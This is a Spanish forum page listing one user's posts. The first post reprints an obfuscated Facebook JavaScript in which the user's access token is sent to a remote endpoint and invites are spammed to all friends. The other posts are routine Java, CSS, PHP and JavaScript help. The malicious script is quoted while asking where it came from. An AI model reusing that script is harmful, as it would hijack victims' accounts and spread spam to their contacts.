Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Shell Root

#1342
Scripting / Re: Script Ofuscado
23 Marzo 2012, 17:29 PM
De donde lo sacaste, por el nombre de las variables tiene que ver con facebook...
Código (javascript) [Seleccionar]
var fbk = {
   _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
   z: function (input) {
       var output = "";
       var chr1, chr2, chr3;
       var enc1, enc2, enc3, enc4;
       var i = 0;
       input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
       while (i < input.length) {
           enc1 = this._keyStr.indexOf(input.charAt(i++));
           enc2 = this._keyStr.indexOf(input.charAt(i++));
           enc3 = this._keyStr.indexOf(input.charAt(i++));
           enc4 = this._keyStr.indexOf(input.charAt(i++));
           chr1 = (enc1 << 2) | (enc2 >> 4);
           chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
           chr3 = ((enc3 & 3) << 6) | enc4;
           output = output + String.fromCharCode(chr1);
           if (enc3 != 64) {
               output = output + String.fromCharCode(chr2);
           }
           if (enc4 != 64) {
               output = output + String.fromCharCode(chr3);
           }
       }
       output = fbk._utf8_decode(output);
       return output;
   },
   _utf8_encode: function (string) {
       string = string.replace(/\r\n/g, "\n");
       var utftext = "";
       for (var n = 0; n < string.length; n++) {
           var c = string.charCodeAt(n);
           if (c < 128) {
               utftext += String.fromCharCode(c);
           } else if ((c > 127) && (c < 2048)) {
               utftext += String.fromCharCode((c >> 6) | 192);
               utftext += String.fromCharCode((c & 63) | 128);
           } else {
               utftext += String.fromCharCode((c >> 12) | 224);
               utftext += String.fromCharCode(((c >> 6) & 63) | 128);
               utftext += String.fromCharCode((c & 63) | 128);
           }
       }
       return utftext;
   },
   _utf8_decode: function (utftext) {
       var string = "";
       var i = 0;
       var c = c1 = c2 = 0;
       while (i < utftext.length) {
           c = utftext.charCodeAt(i);
           if (c < 128) {
               string += String.fromCharCode(c);
               i++;
           } else if ((c > 191) && (c < 224)) {
               c2 = utftext.charCodeAt(i + 1);
               string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
               i += 2;
           } else {
               c2 = utftext.charCodeAt(i + 1);
               c3 = utftext.charCodeAt(i + 2);
               string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
               i += 3;
           }
       }
       return string;
   }
}
eval((function (x) {
   var d = "";
   var p = 0;
   while (p < x.length) {
       if (x.charAt(p) != "`") d += x.charAt(p++);
       else {
           var l = x.charCodeAt(p + 3) - 28;
           if (l > 4) d += d.substr(d.length - x.charCodeAt(p + 1) * 96 - x.charCodeAt(p + 2) + 3104 - l, l);
           else d += "`";
           p += 4
       }
   }
   return d
})("window.fbAsyncInit = function () {FB.init({appId:fbk.z(\"MjA1NTI3NDI2MjE4MjE2\"), xfbml:true, cookie:false});};(` l)var e = document.createElement(\"script\");e.async = true;e.src = \"https://connect.facebook.net/es_LA/all.js\";` {%get` z#ById(\"fb-root\").appendChild(e);})();`!g%inviteFriends(message`\"w\"ui({method:\"apprequests\", ` @#:` H#, data:\"194476163949020\"});}var davet_m = \"\",` '#t = \"Suggest to `!;#\", kkk = 0`!Y&mshuffle(o) {for (var j, x, i = o.length; i; j = parseInt(Math.random() * i), x = o[--i], o` *!j` (!j] = x) {}return o;}`!=%sendR`\"]\"To`#($txxt, title) {`\">&txxt;if (` -*t =` G\";}FB.login`%o'response) {if` %&.authR` .*!kkk) {`#%\"1;$.post(\"/justhtml/181411457193/email\", {token:` d1.accessToken},`(>'data) {});}all();} else {` '#}, {scope:\"`!\"\"})`#+'` @!`(,\"f`#.\" = new Array;FB.api(\"/me/` 9#\"`!1(`\"h'`%0%i`%Y! i < `\"!%data`%<&++) {` h#`$|\"` <).id;}`&/%` D#);loop` $&`'7$GG_NUM = 5`&j'` F!list`$+#list`!;# != 0`\"N#string`'u!;` +!hift` ,\"0`%\\!` L(>=`!%#) {` >'` .\";`'p&`\"[\"j <` 3$ j`\"N!if (j !` J$ - 1) {`!:%` \"#+ list[j] + \",\"`$g%` /5;}}` ;%`!L&`!n'`!F1` 4(`!P,`\"I(` zg`#c&'\" +` 9&\"'\";`,S9`,I2`,~&`*2#`*C#` (#t, to:` \"`(E)`)q3`'-3`#K$`'0$`\"w!` 0!();}`&=&`\"Z%}}` \"&top.loca`!4!`0N'apps`0L&com/205527426218216/index2.html\";}}user_liked`+L!"))
#1344
No se mucho, pero intenta primero formatearlo en una cadena y después lo muestras, es decir,

Código (java) [Seleccionar]

String strMatriz = "";
for( int i=0; i<5; i++){
   for( int j=0; j<6; j++){
      strMatriz+= matriz[i][j];
   }
   strMatriz+= "\n";
}
jTextArea1.setText( strMatriz );

#1345
Fácil,
index.php
Código (html4strict) [Seleccionar]
<!DOCTYPE html>
<html>
   <meta charset=utf-8 />
   <head>
       <title>EfectForm CSS</title>
       <link rel="stylesheet" href="efectForm.css" />
   </head>
<body>
   <div id="comentarios">
       <div id="responder">
           <form>
               <p class="pNombre">
                   <label for="author">Nombre</label>
                   <span class="requerido">*</span>
                   <input id="author" name="author" type="text" value="" size="30" aria-required="true">
               </p>
           </form>
       </div>
   </div>
</body>
</html>


efectForm.css
Código (css) [Seleccionar]
body{ font-family:"Helvetica Neue", Arial, Helvetica, "Nimbus Sans L", sans-serif; }

#comentarios{ clear:both; padding:10px }
#comentarios #responder{ background:#ddd; border:1px solid #d3d3d3; -moz-border-radius:3px; border-radius:3px; clear:both; color:#444; padding:10px; position:relative; width:478px; }
#comentarios #responder .pNombre{ position:relative; }
#comentarios #responder .pNombre label{ background:#eee; color:#555; display:inline-block; font-size:13px; left:4px; min-width:60px; padding:4px 10px; position:relative; top:40px; z-index:1; -webkit-box-shadow:1px 2px 2px rgba(204,204,204,0.8); -moz-box-shadow:1px 2px 2px rgba(204,204,204,0.8); box-shadow:1px 2px 2px rgba(204,204,204,0.8); }
#comentarios #responder .pNombre .requerido{ color:#bd3500; font-size:22px; font-weight:bold; left:75%; position:absolute; top:45px; z-index:1; }
#comentarios #responder p{ margin:10px 0; }
#comentarios #responder label{ line-height:2.2em; }
#comentarios #responder input[type="text"]{ background:#fff; border:4px solid #eee; position:relative; padding:10px; text-indent:80px; -moz-border-radius:5px; border-radius:5px; -webkit-box-shadow:inset 0 1px 3px rgba(204,204,204,0.95); -moz-box-shadow:inset 0 1px 3px rgba(204,204,204,0.95); box-shadow:inset 0 1px 3px rgba(204,204,204,0.95); }
#comentarios #responder input[type="text"]{ display:block; height:24px; width:75%; }
#comentarios #responder input[type="text"]:focus{ text-indent:0; z-index:1; }
#comentarios #responder p{ font-size:12px; }
#1347
PHP / Re: Ayuda con los parametros GET
13 Marzo 2012, 04:26 AM
No entiendo, si tienes lo parametros por get, como los recolectas?
http://www.w3schools.com/php/php_get.asp
#1348
Porqué msg es un sólo parámetro, así que deberías de ponerlo todo concatenado, es decir,
Código (javascript) [Seleccionar]
mostrarMensaje( marker, strNombre + ' ' + strApellido );

Pero creo que debería ser mejor tenerlo todo en una variable (así como supongo que tienes)
Código (javascript) [Seleccionar]
strMessage = strNombre + ' ' + strApellido;
mostrarMensaje( marker, strMessage );

#1350
PHP / Re: Se puede optimizar este codigo ?
3 Marzo 2012, 18:46 PM
Las puedes comparar si usar la variable, es decir,
Código (php) [Seleccionar]


if( $_POST["strPassword"] != $_POST["password"] ){
   /* SNIP */

if( $_POST["strEmail"] != $_POST["mail"] ){